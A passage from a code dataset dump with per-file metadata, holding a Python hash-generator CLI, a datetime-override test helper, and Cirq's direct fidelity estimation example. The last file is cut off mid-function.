hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 417k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 1
class | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f73c15ad1f5b5102b09d5d087c99a68ab986e2b7 | 2,903 | py | Python | HashGenerator.py | Ramin-RX7/DramaX | 54a098b3fb04867453d30838fe3bac73339c294e | [
"MIT"
] | 14 | 2020-05-13T23:17:32.000Z | 2022-02-20T21:31:07.000Z | HashGenerator.py | Ramin-RX7/DramaX | 54a098b3fb04867453d30838fe3bac73339c294e | [
"MIT"
] | null | null | null | HashGenerator.py | Ramin-RX7/DramaX | 54a098b3fb04867453d30838fe3bac73339c294e | [
"MIT"
] | null | null | null | import hashlib
import sys
import getpass
import argparse
import rx7 as rx
from LIB.Functions import pause, cls
from LIB.Hash import sa
def print_hashes(word, file=None, Print=True):
word=bytes(word, encoding='utf-8')
LIST = []
for name,func in sa.items():
try:
result = func(word).hexdigest()
LIST.append(result)
if Print:
print(f' {name.upper()}:{" "*(10-len(name))}{result}')
except TypeError:
pass
if file:
rx.write(str(file),'\n'.join(result))
BANNER = '''
88 88 db .dP"Y8 88 88
88 88 dPYb `Ybo." 88 88
888888 dP__Yb o.`Y8b 888888
88 88 dP""""Yb 8bodP' 88 88
dP""b8 888888 88b 88 888888 88""Yb db 888888 dP"Yb 88""Yb
dP `" 88__ 88Yb88 88__ 88__dP dPYb 88 dP Yb 88__dP
Yb "88 88"" 88 Y88 88"" 88"Yb dP__Yb 88 Yb dP 88"Yb
YboodP 888888 88 Y8 888888 88 Yb dP""""Yb 88 YbodP 88 Yb
'''
if __name__ == "__main__":
if len(sys.argv) > 1:
parser = argparse.ArgumentParser(
'Hash Generator',
description='Generate Hash of a word in all hash types',
allow_abbrev=False,
)
parser.add_argument('HASH',
help="Word which you want to get its hashes"
)
parser.add_argument('-f','--output-file',
metavar='FILE',
help='The file to save hashes of HASH to it'
)
parser.add_argument('-q','--quiet', action='store_false',
help='Run app in quiet mode (Do not print the hashes)'
)
args = parser.parse_args()
hashed_file_name = args.output_file
word = args.HASH
quiet = args.quiet
cls()
rx.style.print(BANNER, 'gold_3b')
print(f'''Here is list of hashes for "{rx.fg('dodger_blue_1')}{word}{rx.attr(0)}:"''')
print_hashes(word, hashed_file_name, quiet)
else:
while True:
cls()
rx.style.print(BANNER, 'gold_3b')
print('Use: "HASH||FILE" to save output to FILE \n')
inp= input('Enter String to Create Hashes: ')
if inp=='exit':
break
elif inp:
if '||' in inp:
inp = inp.split('||')
print(f'''Here is list of hashes for "{rx.fg('dodger_blue_1')}{inp[0]}{rx.attr(0)}":''')
print_hashes(inp[0],inp[1])
else:
print(f'''Here is list of hashes for "{rx.fg('dodger_blue_1')}{inp}{rx.attr(0)}":''')
print_hashes(inp)
pause()
| 30.557895 | 108 | 0.479848 | import hashlib
import sys
import getpass
import argparse
import rx7 as rx
from LIB.Functions import pause, cls
from LIB.Hash import sa
def print_hashes(word, file=None, Print=True):
word=bytes(word, encoding='utf-8')
LIST = []
for name,func in sa.items():
try:
result = func(word).hexdigest()
LIST.append(result)
if Print:
print(f' {name.upper()}:{" "*(10-len(name))}{result}')
except TypeError:
pass
if file:
rx.write(str(file),'\n'.join(result))
BANNER = '''
88 88 db .dP"Y8 88 88
88 88 dPYb `Ybo." 88 88
888888 dP__Yb o.`Y8b 888888
88 88 dP""""Yb 8bodP' 88 88
dP""b8 888888 88b 88 888888 88""Yb db 888888 dP"Yb 88""Yb
dP `" 88__ 88Yb88 88__ 88__dP dPYb 88 dP Yb 88__dP
Yb "88 88"" 88 Y88 88"" 88"Yb dP__Yb 88 Yb dP 88"Yb
YboodP 888888 88 Y8 888888 88 Yb dP""""Yb 88 YbodP 88 Yb
'''
if __name__ == "__main__":
if len(sys.argv) > 1:
parser = argparse.ArgumentParser(
'Hash Generator',
description='Generate Hash of a word in all hash types',
allow_abbrev=False,
)
parser.add_argument('HASH',
help="Word which you want to get its hashes"
)
parser.add_argument('-f','--output-file',
metavar='FILE',
help='The file to save hashes of HASH to it'
)
parser.add_argument('-q','--quiet', action='store_false',
help='Run app in quiet mode (Do not print the hashes)'
)
args = parser.parse_args()
hashed_file_name = args.output_file
word = args.HASH
quiet = args.quiet
cls()
rx.style.print(BANNER, 'gold_3b')
print(f'''Here is list of hashes for "{rx.fg('dodger_blue_1')}{word}{rx.attr(0)}:"''')
print_hashes(word, hashed_file_name, quiet)
else:
while True:
cls()
rx.style.print(BANNER, 'gold_3b')
print('Use: "HASH||FILE" to save output to FILE \n')
inp= input('Enter String to Create Hashes: ')
if inp=='exit':
break
elif inp:
if '||' in inp:
inp = inp.split('||')
print(f'''Here is list of hashes for "{rx.fg('dodger_blue_1')}{inp[0]}{rx.attr(0)}":''')
print_hashes(inp[0],inp[1])
else:
print(f'''Here is list of hashes for "{rx.fg('dodger_blue_1')}{inp}{rx.attr(0)}":''')
print_hashes(inp)
pause()
| true | true |
f73c15b3d32cb87c1bb0c87097fc35fb9d3be344 | 3,123 | py | Python | matchengine/tests/timetravel_and_override.py | victoria34/matchengine-V2 | dea74c5eec08b181c3b2bf173fa3a79ded1c1af7 | [
"Apache-2.0"
] | null | null | null | matchengine/tests/timetravel_and_override.py | victoria34/matchengine-V2 | dea74c5eec08b181c3b2bf173fa3a79ded1c1af7 | [
"Apache-2.0"
] | null | null | null | matchengine/tests/timetravel_and_override.py | victoria34/matchengine-V2 | dea74c5eec08b181c3b2bf173fa3a79ded1c1af7 | [
"Apache-2.0"
] | 1 | 2019-09-25T17:31:49.000Z | 2019-09-25T17:31:49.000Z | import datetime
import gc
_scope_handler = {
'date': datetime.date,
'datetime': datetime.datetime,
'old_datetime': datetime.datetime,
'old_date': datetime.date}
def set_static_date_time(year=2000, month=7, day=12, hour=9, minute=47, second=40, microsecond=303620):
global _scope_handler
default_d = f'datetime.date({year}, {month}, {day})'
default_dt = f'datetime.datetime({year}, {month}, {day}, {hour}, {minute}, {second}, {microsecond})'
static_classes = f"""
import datetime
class StaticDatetime(datetime.datetime):
@classmethod
def now(cls, **kwargs):
return {default_dt}
class StaticDate(datetime.date):
@classmethod
def today(cls):
return {default_d}"""
scope = dict()
exec(static_classes, scope)
perform_override(scope['StaticDate'], _scope_handler['date'])
perform_override(scope['StaticDatetime'], _scope_handler['datetime'])
_scope_handler.update({'date': scope['StaticDate'], 'datetime': scope['StaticDatetime']})
# Exception raised when a GC reference for a base class being overridden is of a type where override logic is not known
class UnknownReferenceTypeForOverrideException(Exception):
pass
def unoverride_datetime():
perform_override(_scope_handler['old_date'], _scope_handler['date'])
perform_override(_scope_handler['old_datetime'], _scope_handler['datetime'])
def perform_override(override_class, base_class):
for referrer in gc.get_referrers(base_class):
# Check to see if the referrer is mutable (otherwise performing an override won't do anything -
# any immutable object with a reference will not be overridden.
# TODO: and recursive override logic to handle referrers nested in immutable objects
if getattr(referrer, '__hash__', None) is None:
# If the referrer is a dict, then the reference is present as a value in the dict
if referrer.__class__ is dict:
# iterate over each key in the referrer
for k in list(referrer.keys()):
if referrer is _scope_handler and k in {'old_datetime', 'old_date'}:
continue
# check to see if the value associated with that key is the base class
if referrer[k] is base_class:
# if it is, then re-associate the key with the the override class
referrer[k] = override_class
elif base_class in referrer:
referrer[base_class] = override_class
# All other mutable types not caught above have not had the overrides implemented,
# so raise an Exception to alert of this fact
else:
print('%s' % UnknownReferenceTypeForOverrideException(
(f"ERROR: Found a hashable object of type {type(referrer)} "
f"referring to {base_class} "
f"while performing overrides for {override_class} "
f"please implement logic for handling overriding references from this type.")
))
| 43.375 | 119 | 0.652257 | import datetime
import gc
_scope_handler = {
'date': datetime.date,
'datetime': datetime.datetime,
'old_datetime': datetime.datetime,
'old_date': datetime.date}
def set_static_date_time(year=2000, month=7, day=12, hour=9, minute=47, second=40, microsecond=303620):
global _scope_handler
default_d = f'datetime.date({year}, {month}, {day})'
default_dt = f'datetime.datetime({year}, {month}, {day}, {hour}, {minute}, {second}, {microsecond})'
static_classes = f"""
import datetime
class StaticDatetime(datetime.datetime):
@classmethod
def now(cls, **kwargs):
return {default_dt}
class StaticDate(datetime.date):
@classmethod
def today(cls):
return {default_d}"""
scope = dict()
exec(static_classes, scope)
perform_override(scope['StaticDate'], _scope_handler['date'])
perform_override(scope['StaticDatetime'], _scope_handler['datetime'])
_scope_handler.update({'date': scope['StaticDate'], 'datetime': scope['StaticDatetime']})
class UnknownReferenceTypeForOverrideException(Exception):
pass
def unoverride_datetime():
perform_override(_scope_handler['old_date'], _scope_handler['date'])
perform_override(_scope_handler['old_datetime'], _scope_handler['datetime'])
def perform_override(override_class, base_class):
for referrer in gc.get_referrers(base_class):
# any immutable object with a reference will not be overridden.
# TODO: and recursive override logic to handle referrers nested in immutable objects
if getattr(referrer, '__hash__', None) is None:
# If the referrer is a dict, then the reference is present as a value in the dict
if referrer.__class__ is dict:
# iterate over each key in the referrer
for k in list(referrer.keys()):
if referrer is _scope_handler and k in {'old_datetime', 'old_date'}:
continue
# check to see if the value associated with that key is the base class
if referrer[k] is base_class:
# if it is, then re-associate the key with the the override class
referrer[k] = override_class
elif base_class in referrer:
referrer[base_class] = override_class
# All other mutable types not caught above have not had the overrides implemented,
# so raise an Exception to alert of this fact
else:
print('%s' % UnknownReferenceTypeForOverrideException(
(f"ERROR: Found a hashable object of type {type(referrer)} "
f"referring to {base_class} "
f"while performing overrides for {override_class} "
f"please implement logic for handling overriding references from this type.")
))
| true | true |
f73c15da21f1c9c65413e062423fc2efec0b31bc | 18,505 | py | Python | examples/direct_fidelity_estimation.py | aditya-giri/Cirq | e5af689f184c8c5ccd9c076b2907a444b2479629 | [
"Apache-2.0"
] | null | null | null | examples/direct_fidelity_estimation.py | aditya-giri/Cirq | e5af689f184c8c5ccd9c076b2907a444b2479629 | [
"Apache-2.0"
] | null | null | null | examples/direct_fidelity_estimation.py | aditya-giri/Cirq | e5af689f184c8c5ccd9c076b2907a444b2479629 | [
"Apache-2.0"
] | null | null | null | """Implements direct fidelity estimation.
Fidelity between the desired pure state rho and the actual state sigma is
defined as:
F(rho, sigma) = Tr (rho sigma)
It is a unit-less measurement between 0.0 and 1.0. The following two papers
independently described a faster way to estimate its value:
Direct Fidelity Estimation from Few Pauli Measurements
https://arxiv.org/abs/1104.4695
Practical characterization of quantum devices without tomography
https://arxiv.org/abs/1104.3835
This code implements the algorithm proposed for an example circuit (defined in
the function build_circuit()) and a noise (defines in the variable noise).
"""
from typing import cast, List, Optional, Tuple
import argparse
import asyncio
from dataclasses import dataclass
import itertools
import random
import sys
import numpy as np
import cirq
def build_circuit() -> Tuple[cirq.Circuit, List[cirq.Qid]]:
# Builds an arbitrary circuit to test. Do not include a measurement gate.
# The circuit need not be Clifford, but if it is, simulations will be
# faster.
qubits: List[cirq.Qid] = cast(List[cirq.Qid], cirq.LineQubit.range(3))
circuit: cirq.Circuit = cirq.Circuit(cirq.CNOT(qubits[0], qubits[2]),
cirq.Z(qubits[0]), cirq.H(qubits[2]),
cirq.CNOT(qubits[2], qubits[1]),
cirq.X(qubits[0]), cirq.X(qubits[1]),
cirq.CNOT(qubits[0], qubits[2]))
print('Circuit used:')
print(circuit)
return circuit, qubits
def compute_characteristic_function(circuit: cirq.Circuit,
pauli_string: cirq.PauliString,
qubits: List[cirq.Qid],
density_matrix: np.ndarray):
n_qubits = len(qubits)
d = 2**n_qubits
qubit_map = dict(zip(qubits, range(n_qubits)))
# rho_i or sigma_i in https://arxiv.org/abs/1104.3835
trace = pauli_string.expectation_from_density_matrix(
density_matrix, qubit_map)
assert np.isclose(trace.imag, 0.0, atol=1e-6)
trace = trace.real
prob = trace * trace / d # Pr(i) in https://arxiv.org/abs/1104.3835
return trace, prob
async def estimate_characteristic_function(circuit: cirq.Circuit,
pauli_string: cirq.PauliString,
qubits: List[cirq.Qid],
sampler: cirq.Sampler,
samples_per_term: int):
"""
Estimates the characteristic function using a (noisy) circuit simulator by
sampling the results.
Args:
circuit: The circuit to run the simulation on.
pauli_string: The Pauli string.
qubits: The list of qubits.
sampler: Either a noisy simulator or an engine.
samples_per_term: An integer greater than 0, the number of samples.
Returns:
The estimated characteristic function.
"""
p = cirq.PauliSumCollector(circuit=circuit,
observable=pauli_string,
samples_per_term=samples_per_term)
await p.collect_async(sampler=sampler)
sigma_i = p.estimated_energy()
assert np.isclose(sigma_i.imag, 0.0, atol=1e-6)
sigma_i = sigma_i.real
return sigma_i
def _randomly_sample_from_stabilizer_bases(
stabilizer_basis: List[cirq.DensePauliString],
n_measured_operators: int, n_qubits: int):
"""
Given a stabilizer basis, randomly creates Pauli states by including the
basis vector or not.
Args:
stabilizer_basis: A list of Pauli strings that is the stabilizer basis
to sample from.
n_measured_operators: The total number of Pauli measurements, or None to
explore each Pauli state once.
n_qubits: An integer that is the number of qubits.
Returns:
A list of Pauli strings that is the Pauli states built.
"""
dense_pauli_strings = []
for _ in range(n_measured_operators):
# Build the Pauli string as a random sample of the basis elements.
dense_pauli_string = cirq.DensePauliString.eye(n_qubits)
for stabilizer in stabilizer_basis:
if np.random.randint(2) == 1:
dense_pauli_string *= stabilizer
dense_pauli_strings.append(dense_pauli_string)
return dense_pauli_strings
def _enumerate_all_from_stabilizer_bases(
stabilizer_basis: List[cirq.DensePauliString], n_qubits: int):
"""
Given a stabilizer basis, creates the exhaustive list of Pauli states that
are spanned by the basis.
Args:
stabilizer_basis: A list of Pauli strings that is the stabilizer basis
to build all the Pauli strings.
n_qubits: An integer that is the number of qubits.
Returns:
A list of Pauli strings that is the Pauli states built.
"""
dense_pauli_strings = []
for coefficients in itertools.product([False, True], repeat=n_qubits):
dense_pauli_string = cirq.DensePauliString.eye(n_qubits)
for (keep, stabilizer) in zip(coefficients, stabilizer_basis):
if keep:
dense_pauli_string *= stabilizer
dense_pauli_strings.append(dense_pauli_string)
return dense_pauli_strings
@dataclass
class PauliTrace:
"""
A class that contains the Pauli states as described on page 2 of:
https://arxiv.org/abs/1104.3835
"""
# Pauli string.
P_i: cirq.PauliString
# Coefficient of the ideal pure state expanded in the Pauli basis scaled by
# sqrt(dim H), formally defined at bottom of left column of page 2.
rho_i: float
# A probablity (between 0.0 and 1.0) that is the relevance distribution,
# formally defined at top of right column of page 2.
Pr_i: float
def _estimate_pauli_traces_clifford(n_qubits: int,
clifford_state: cirq.CliffordState,
n_measured_operators: Optional[int]
) -> List[PauliTrace]:
"""
Estimates the Pauli traces in case the circuit is Clifford. When we have a
Clifford circuit, there are 2**n Pauli traces that have probability 1/2**n
and all the other traces have probability 0. In addition, there is a fast
way to compute find out what the traces are. See the documentation of
cirq.CliffordState for more detail. This function uses the speedup to sample
the Pauli states with non-zero probability.
Args:
n_qubits: An integer that is the number of qubits.
clifford_state: The basis of the Pauli states with non-zero probability.
n_measured_operators: The total number of Pauli measurements, or None to
explore each Pauli state once.
Returns:
A list of Pauli states (represented as tuples of Pauli string, rho_i,
and probability.
"""
# When the circuit consists of Clifford gates only, we can sample the
# Pauli states more efficiently as described on page 4 of:
# https://arxiv.org/abs/1104.4695
d = 2**n_qubits
# The stabilizers_basis variable only contains basis vectors. For
# example, if we have n=3 qubits, then we should have 2**n=8 Pauli
# states that we can sample, but the basis will still have 3 entries. We
# must flip a coin for each, whether or not to include them.
stabilizer_basis: List[cirq.DensePauliString] = clifford_state.stabilizers()
if n_measured_operators is not None:
dense_pauli_strings = _randomly_sample_from_stabilizer_bases(
stabilizer_basis, n_measured_operators, n_qubits)
assert len(dense_pauli_strings) == n_measured_operators
else:
dense_pauli_strings = _enumerate_all_from_stabilizer_bases(
stabilizer_basis, n_qubits)
assert len(dense_pauli_strings) == 2**n_qubits
pauli_traces: List[PauliTrace] = []
for dense_pauli_string in dense_pauli_strings:
# The code below is equivalent to calling
# clifford_state.wave_function() and then calling
# compute_characteristic_function() on the results (albeit with a
# wave function instead of a density matrix). It is, however,
# unncessary to do so. Instead we directly obtain the scalar rho_i.
rho_i = dense_pauli_string.coefficient
assert np.isclose(rho_i.imag, 0.0, atol=1e-6)
rho_i = rho_i.real
dense_pauli_string *= rho_i
assert np.isclose(abs(rho_i), 1.0, atol=1e-6)
Pr_i = 1.0 / d
pauli_traces.append(
PauliTrace(P_i=dense_pauli_string.sparse(), rho_i=rho_i, Pr_i=Pr_i))
return pauli_traces
def _estimate_pauli_traces_general(qubits: List[cirq.Qid],
circuit: cirq.Circuit,
n_measured_operators: Optional[int]
) -> List[PauliTrace]:
"""
Estimates the Pauli traces in case the circuit is not Clifford. In this case
we cannot use the speedup implemented in the function
_estimate_pauli_traces_clifford() above, and so do a slow, density matrix
simulation.
Args:
qubits: The list of qubits.
circuit: The (non Clifford) circuit.
n_measured_operators: The total number of Pauli measurements, or None to
explore each Pauli state once.
Returns:
A list of Pauli states (represented as tuples of Pauli string, rho_i,
and probability.
"""
n_qubits = len(qubits)
dense_simulator = cirq.DensityMatrixSimulator()
# rho in https://arxiv.org/abs/1104.3835
clean_density_matrix = cast(
cirq.DensityMatrixTrialResult,
dense_simulator.simulate(circuit)).final_density_matrix
all_operators = itertools.product([cirq.I, cirq.X, cirq.Y, cirq.Z],
repeat=n_qubits)
if n_measured_operators is not None:
dense_operators = random.sample(tuple(all_operators),
n_measured_operators)
else:
dense_operators = list(all_operators)
pauli_traces: List[PauliTrace] = []
for P_i in dense_operators:
pauli_string = cirq.PauliString(dict(zip(qubits, P_i)))
rho_i, Pr_i = compute_characteristic_function(circuit, pauli_string,
qubits,
clean_density_matrix)
pauli_traces.append(PauliTrace(P_i=pauli_string, rho_i=rho_i,
Pr_i=Pr_i))
return pauli_traces
@dataclass
class TrialResult:
"""
Contains the results of a trial, either by simulator or actual run
"""
# The Pauli trace that was measured
pauli_trace: PauliTrace
# Coefficient of the measured/simulated pure state expanded in the Pauli
# basis scaled by sqrt(dim H), formally defined at bottom of left column of
# second page of https://arxiv.org/abs/1104.3835
sigma_i: float
@dataclass
class DFEIntermediateResult:
"""
A container for the various debug and run data from calling the function
direct_fidelity_estimation(). This is useful when running a long-computation
on an actual computer, which is expensive. This way, runs can be more easily
debugged offline.
"""
# If the circuit is Clifford, the Clifford state from which we can extract
# a list of Pauli strings for a basis of the stabilizers.
clifford_state: Optional[cirq.CliffordState]
# The list of Pauli traces we can sample from.
pauli_traces: List[PauliTrace]
# Measurement results from sampling the circuit.
trial_results: List[TrialResult]
def direct_fidelity_estimation(circuit: cirq.Circuit, qubits: List[cirq.Qid],
sampler: cirq.Sampler,
n_measured_operators: Optional[int],
samples_per_term: int):
"""
Implementation of direct fidelity estimation, as per 'Direct Fidelity
Estimation from Few Pauli Measurements' https://arxiv.org/abs/1104.4695 and
'Practical characterization of quantum devices without tomography'
https://arxiv.org/abs/1104.3835.
Args:
circuit: The circuit to run the simulation on.
qubits: The list of qubits.
sampler: Either a noisy simulator or an engine.
n_measured_operators: The total number of Pauli measurements, or None to
explore each Pauli state once.
samples_per_term: if set to 0, we use the 'sampler' parameter above as
a noise (must be of type cirq.DensityMatrixSimulator) and
simulate noise in the circuit. If greater than 0, we instead use the
'sampler' parameter directly to estimate the characteristic
function.
Returns:
The estimated fidelity and a log of the run.
"""
# n_measured_operators is upper-case N in https://arxiv.org/abs/1104.3835
# Number of qubits, lower-case n in https://arxiv.org/abs/1104.3835
n_qubits = len(qubits)
clifford_circuit = True
clifford_state: Optional[cirq.CliffordState] = None
try:
clifford_state = cirq.CliffordState(
qubit_map={qubits[i]: i for i in range(len(qubits))})
for gate in circuit.all_operations():
clifford_state.apply_unitary(gate)
except ValueError:
clifford_circuit = False
# Computes for every \hat{P_i} of https://arxiv.org/abs/1104.3835
# estimate rho_i and Pr(i). We then collect tuples (rho_i, Pr(i), \hat{Pi})
# inside the variable 'pauli_traces'.
if clifford_circuit:
assert clifford_state is not None
pauli_traces = _estimate_pauli_traces_clifford(
n_qubits, cast(cirq.CliffordState, clifford_state),
n_measured_operators)
else:
pauli_traces = _estimate_pauli_traces_general(qubits, circuit,
n_measured_operators)
p = np.asarray([x.Pr_i for x in pauli_traces])
if n_measured_operators is None:
# Since we enumerate all the possible traces, the probs should add to 1.
assert np.isclose(np.sum(p), 1.0, atol=1e-6)
p /= np.sum(p)
fidelity = 0.0
if samples_per_term == 0:
# sigma in https://arxiv.org/abs/1104.3835
if not isinstance(sampler, cirq.DensityMatrixSimulator):
raise TypeError('sampler is not a cirq.DensityMatrixSimulator '
'but samples_per_term is zero.')
noisy_simulator = cast(cirq.DensityMatrixSimulator, sampler)
noisy_density_matrix = cast(
cirq.DensityMatrixTrialResult,
noisy_simulator.simulate(circuit)).final_density_matrix
if clifford_circuit and n_measured_operators is None:
# In case the circuit is Clifford and we compute an exhaustive list of
# Pauli traces, instead of sampling we can simply enumerate them because
# they all have the same probability.
measured_pauli_traces = pauli_traces
else:
# Otherwise, randomly sample as per probability.
measured_pauli_traces = np.random.choice(pauli_traces,
size=len(pauli_traces),
p=p)
trial_results: List[TrialResult] = []
for pauli_trace in measured_pauli_traces:
measure_pauli_string: cirq.PauliString = pauli_trace.P_i
rho_i = pauli_trace.rho_i
if samples_per_term > 0:
sigma_i = asyncio.get_event_loop().run_until_complete(
estimate_characteristic_function(circuit, measure_pauli_string,
qubits, sampler,
samples_per_term))
else:
sigma_i, _ = compute_characteristic_function(
circuit, measure_pauli_string, qubits, noisy_density_matrix)
trial_results.append(
TrialResult(pauli_trace=pauli_trace, sigma_i=sigma_i))
fidelity += sigma_i / rho_i
estimated_fidelity = fidelity / len(pauli_traces)
dfe_intermediate_result = DFEIntermediateResult(
clifford_state=clifford_state,
pauli_traces=pauli_traces,
trial_results=trial_results)
return estimated_fidelity, dfe_intermediate_result
def parse_arguments(args):
"""Helper function that parses the given arguments."""
parser = argparse.ArgumentParser('Direct fidelity estimation.')
# TODO: Offer some guidance on how to set this flag. Maybe have an
# option to do an exhaustive sample and do numerical studies to know which
# choice is the best.
# Github issue: https://github.com/quantumlib/Cirq/issues/2802
parser.add_argument('--n_measured_operators',
default=10,
type=int,
help='Numbers of measured operators (Pauli strings). '
'If the circuit is Clifford, these operators are '
'computed by sampling for the basis of stabilizers. If '
'the circuit is not Clifford, this is a random sample '
'all the possible operators. If the value of this '
'parameter is None, we enumerate all the operators '
'which is 2**n_qubit for Clifford circuits and '
'4**n_qubits otherwise.')
parser.add_argument('--samples_per_term',
default=0,
type=int,
help='Number of samples per trial or 0 if no sampling.')
return vars(parser.parse_args(args))
def main(*, n_measured_operators: Optional[int], samples_per_term: int):
circuit, qubits = build_circuit()
noise = cirq.ConstantQubitNoiseModel(cirq.depolarize(0.1))
print('Noise model: %s' % (noise))
noisy_simulator = cirq.DensityMatrixSimulator(noise=noise)
estimated_fidelity, _ = direct_fidelity_estimation(
circuit,
qubits,
noisy_simulator,
n_measured_operators=n_measured_operators,
samples_per_term=samples_per_term)
print('Estimated fidelity: %f' % (estimated_fidelity))
if __name__ == '__main__':
main(**parse_arguments(sys.argv[1:]))
| 39.795699 | 80 | 0.645231 |
from typing import cast, List, Optional, Tuple
import argparse
import asyncio
from dataclasses import dataclass
import itertools
import random
import sys
import numpy as np
import cirq
def build_circuit() -> Tuple[cirq.Circuit, List[cirq.Qid]]:
qubits: List[cirq.Qid] = cast(List[cirq.Qid], cirq.LineQubit.range(3))
circuit: cirq.Circuit = cirq.Circuit(cirq.CNOT(qubits[0], qubits[2]),
cirq.Z(qubits[0]), cirq.H(qubits[2]),
cirq.CNOT(qubits[2], qubits[1]),
cirq.X(qubits[0]), cirq.X(qubits[1]),
cirq.CNOT(qubits[0], qubits[2]))
print('Circuit used:')
print(circuit)
return circuit, qubits
def compute_characteristic_function(circuit: cirq.Circuit,
pauli_string: cirq.PauliString,
qubits: List[cirq.Qid],
density_matrix: np.ndarray):
n_qubits = len(qubits)
d = 2**n_qubits
qubit_map = dict(zip(qubits, range(n_qubits)))
trace = pauli_string.expectation_from_density_matrix(
density_matrix, qubit_map)
assert np.isclose(trace.imag, 0.0, atol=1e-6)
trace = trace.real
prob = trace * trace / d
return trace, prob
async def estimate_characteristic_function(circuit: cirq.Circuit,
pauli_string: cirq.PauliString,
qubits: List[cirq.Qid],
sampler: cirq.Sampler,
samples_per_term: int):
p = cirq.PauliSumCollector(circuit=circuit,
observable=pauli_string,
samples_per_term=samples_per_term)
await p.collect_async(sampler=sampler)
sigma_i = p.estimated_energy()
assert np.isclose(sigma_i.imag, 0.0, atol=1e-6)
sigma_i = sigma_i.real
return sigma_i
def _randomly_sample_from_stabilizer_bases(
stabilizer_basis: List[cirq.DensePauliString],
n_measured_operators: int, n_qubits: int):
dense_pauli_strings = []
for _ in range(n_measured_operators):
dense_pauli_string = cirq.DensePauliString.eye(n_qubits)
for stabilizer in stabilizer_basis:
if np.random.randint(2) == 1:
dense_pauli_string *= stabilizer
dense_pauli_strings.append(dense_pauli_string)
return dense_pauli_strings
def _enumerate_all_from_stabilizer_bases(
stabilizer_basis: List[cirq.DensePauliString], n_qubits: int):
dense_pauli_strings = []
for coefficients in itertools.product([False, True], repeat=n_qubits):
dense_pauli_string = cirq.DensePauliString.eye(n_qubits)
for (keep, stabilizer) in zip(coefficients, stabilizer_basis):
if keep:
dense_pauli_string *= stabilizer
dense_pauli_strings.append(dense_pauli_string)
return dense_pauli_strings
@dataclass
class PauliTrace:
P_i: cirq.PauliString
rho_i: float
Pr_i: float
def _estimate_pauli_traces_clifford(n_qubits: int,
clifford_state: cirq.CliffordState,
n_measured_operators: Optional[int]
) -> List[PauliTrace]:
d = 2**n_qubits
stabilizer_basis: List[cirq.DensePauliString] = clifford_state.stabilizers()
if n_measured_operators is not None:
dense_pauli_strings = _randomly_sample_from_stabilizer_bases(
stabilizer_basis, n_measured_operators, n_qubits)
assert len(dense_pauli_strings) == n_measured_operators
else:
dense_pauli_strings = _enumerate_all_from_stabilizer_bases(
stabilizer_basis, n_qubits)
assert len(dense_pauli_strings) == 2**n_qubits
pauli_traces: List[PauliTrace] = []
for dense_pauli_string in dense_pauli_strings:
rho_i = dense_pauli_string.coefficient
assert np.isclose(rho_i.imag, 0.0, atol=1e-6)
rho_i = rho_i.real
dense_pauli_string *= rho_i
assert np.isclose(abs(rho_i), 1.0, atol=1e-6)
Pr_i = 1.0 / d
pauli_traces.append(
PauliTrace(P_i=dense_pauli_string.sparse(), rho_i=rho_i, Pr_i=Pr_i))
return pauli_traces
def _estimate_pauli_traces_general(qubits: List[cirq.Qid],
circuit: cirq.Circuit,
n_measured_operators: Optional[int]
) -> List[PauliTrace]:
n_qubits = len(qubits)
dense_simulator = cirq.DensityMatrixSimulator()
clean_density_matrix = cast(
cirq.DensityMatrixTrialResult,
dense_simulator.simulate(circuit)).final_density_matrix
all_operators = itertools.product([cirq.I, cirq.X, cirq.Y, cirq.Z],
repeat=n_qubits)
if n_measured_operators is not None:
dense_operators = random.sample(tuple(all_operators),
n_measured_operators)
else:
dense_operators = list(all_operators)
pauli_traces: List[PauliTrace] = []
for P_i in dense_operators:
pauli_string = cirq.PauliString(dict(zip(qubits, P_i)))
rho_i, Pr_i = compute_characteristic_function(circuit, pauli_string,
qubits,
clean_density_matrix)
pauli_traces.append(PauliTrace(P_i=pauli_string, rho_i=rho_i,
Pr_i=Pr_i))
return pauli_traces
@dataclass
class TrialResult:
pauli_trace: PauliTrace
sigma_i: float
@dataclass
class DFEIntermediateResult:
clifford_state: Optional[cirq.CliffordState]
pauli_traces: List[PauliTrace]
trial_results: List[TrialResult]
def direct_fidelity_estimation(circuit: cirq.Circuit, qubits: List[cirq.Qid],
sampler: cirq.Sampler,
n_measured_operators: Optional[int],
samples_per_term: int):
n_qubits = len(qubits)
clifford_circuit = True
clifford_state: Optional[cirq.CliffordState] = None
try:
clifford_state = cirq.CliffordState(
qubit_map={qubits[i]: i for i in range(len(qubits))})
for gate in circuit.all_operations():
clifford_state.apply_unitary(gate)
except ValueError:
clifford_circuit = False
if clifford_circuit:
assert clifford_state is not None
pauli_traces = _estimate_pauli_traces_clifford(
n_qubits, cast(cirq.CliffordState, clifford_state),
n_measured_operators)
else:
pauli_traces = _estimate_pauli_traces_general(qubits, circuit,
n_measured_operators)
p = np.asarray([x.Pr_i for x in pauli_traces])
if n_measured_operators is None:
assert np.isclose(np.sum(p), 1.0, atol=1e-6)
p /= np.sum(p)
fidelity = 0.0
if samples_per_term == 0:
if not isinstance(sampler, cirq.DensityMatrixSimulator):
raise TypeError('sampler is not a cirq.DensityMatrixSimulator '
'but samples_per_term is zero.')
